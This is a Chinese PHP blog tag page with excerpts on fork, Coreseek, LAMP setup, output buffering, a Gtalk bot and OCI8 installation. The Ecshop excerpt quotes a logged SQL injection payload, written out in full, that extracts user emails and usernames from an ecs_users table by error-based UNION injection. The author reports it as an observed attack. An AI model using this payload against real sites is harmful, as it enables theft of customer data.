Posts Tagged php
PHP的普青、文青和2B青
之前看过一篇东西,大致上说:之所以PHP这么流行,主要是因为PHP太“下贱”。门槛太低,什么样的写法都有。这些年接触下来,也颇有共鸣。正巧赶上最近网上很流行“普青、文青、2B青”的恶搞,抱着“回字到底有几种写法”的态度,对同样的问题进行各种风格的编码,为了更多的体现算法,我剔除了注释。只为搏大家一笑,希望大家也不要拓展开来了。
题目:1只羊第二年后开始繁殖,每年一胎,每胎一只,直到第5年死亡,列出前十年的羊的数量。
posix的特性——fork
记得之前曾经在一段Python中介绍过python的mulitprocess模块在windows的不兼容。其中提及了linux/Unix特有的fork方式,而windows无法实现导致的死循环。当时只是提到了一下,重点不同的关系,没有深究。
fork,顾名思义就是一把叉子,或者专业一点叫做复制叉。作为sys/type.h的一个函数,系统在每次调用fork()之后,将会以此为分叉,对进程本身进行复制,新的进程和旧进程有近乎完全一致的cpu时间和内存寄存器。
Ubuntu上Coreseek+php的安装
Coreseek是一个基于sphinx引擎,支持与mmseg中文分词模块合作完成中文的全文搜索引擎。相对sql这类操作,Coreseek负载可谓是微不足道。当然类似的索引服务器还有给予Java的solr等。我选择coreseek的主要原因之一是他可以通过配置后可以与现有的mysql客户端兼容,并可以直接嵌入到mysql中成为mysql的引擎之一。
首先,下载安装包,我选择的是最新的stable版, 不过不客气的说,即便是coreseek的stable版本,不论是从稳定性、兼容性还是灵活性上都不能算是完善,至少无法跟apache这类经典应用相提并论。
LAMP的常用扩展安装
之前已经弄过许多篇关于LAMP搭建的东西,都是基于最简单包的,这次说说几个比较常用扩展的安装:
- FreeBSD + Apache + PHP + Mysql (恶搞版)
- FreeBSD + Apache + PHP + Mysql + Oracle
- Ubuntu + Apache + PHP + Mysql ,比较简单,正常server版安装结束的最后一步可以选择安装LAMP
- Ubuntu + nginx + php
- Ubuntu + php + Oracle
Ecshop的问题
在看一台服务器的SQL-Slow日志,看到了如下的一纪录,惊出了一身冷汗!
SELECT pg.package_id, pg.goods_id, pg.goods_number,
pg.admin_id, g.goods_sn, g.goods_name, g.market_price, g.goods_thumb, g.is_real,
IFNULL(mp.user_price, g.shop_price * '1') AS rank_price
FROM `ecs_`.`ecs_package_goods` AS pg
LEFT JOIN `ecs_venusveil`.`ecs_goods` AS g ON g.goods_id = pg.goods_id
LEFT JOIN `ecs_venusveil`.`ecs_member_price` AS mp ON mp.goods_id = g.goods_id AND mp.user_rank = '0'
WHERE pg.package_id = -1
union all
select 1,2,3,4,5,6,7,8,count(*),concat(
(Select concat(0x5b,email,0x3a,user_name,0x5d)
FROM ecs_users
LIMIT 9456,1), floor(rand(0)*2))x
from information_schema.tables
group by x
ORDER BY pg.package_id, pg.goods_id;
高负载的Lamp架构
重新认识下PHP的输出
大概在02 03年或者更早,我第一次接触了PHP lib中的模板类,后来又开始用了众人皆知的Smarty,以及各种框架内自带的模板引擎。这段时间就几乎没有再用过直接的echo输出——临时的脚本除外。似乎现在再去写个网站,一大堆echo嵌入到HTML里,会被同行笑话的,至少会被认为是学生作品吧。本文就重新捡回这个命令,重新认识下。
PHP程序员的逻辑:
数据经过加工,传输给模板引擎,模板引擎选择合适的模板填充,输出为页面通过www服务器传输给用户。
再此之前,请自查手册,熟悉ob_end_clean() flush()以及相关联的输出控制函数。
如果能看懂如下伪代码,并认为这是一团糟糕的死循环的话请继续:
Gtalk通知机器人脚本
服务器每天都有这样那样的信息需要实时推送。最初一直是Mail,最容易实现,成本也低。后来有了短信接口,就有了相对实时但要花钱的方式推送。
知道GAE可以直接跟gtalk挂钩推送消息,可能一直挂Gtalk的人远没有挂QQ和MSN的多(密之声:Gtalk又没有星星和钻石,挂也没劲),但有了Android + 3G的实时在线,这种方式却可以直接替代SMS这类花钱的服务,何乐不为?
大致上完成了原型,制作了一个基于Python的命令行程序,不敢独享,分享给大家。希望大家能够一起加入这个项目完善它。
在此之前,请现将 server-say @@@ appspot.com (你懂的!)加为好友
WordPress google-syntax-highlighter 插件的问题
小站上一直使用Google Syntax Highlighter for WordPress 插件实现代码高亮,就在上一篇文章发布之后,我发现了这个插件中存在的一个bug:windows + IE 8无法正常加亮python代码。
查阅了官方网站,发掘Google Syntax Highlighter for WordPress插件用的1.5版已经停止更新,只能使用2.0以上的版本,但2.0版本和之前的版本又存在兼容的问题,直接替换是不行的。不想每篇文章的修改<pre>标记,那就改插件喽。
配置Ubuntu的php支持OCI8
PHP的OCI模块支持Oracle总是比较让人头痛。这趟弄个ubuntu的安装文档。
通过ubuntu-server安装盘安装LAMP。当然,正常情况下,建议安装好openssh服务器,免得麻烦。
虽然ubuntu的server支持root直接登录,既然是ubutu,还是遵循它的sudo吧。
安装结束后,启动server。
首先,经典的更新
#sudo apt-get update; sudo apt-get upgrade

近期评论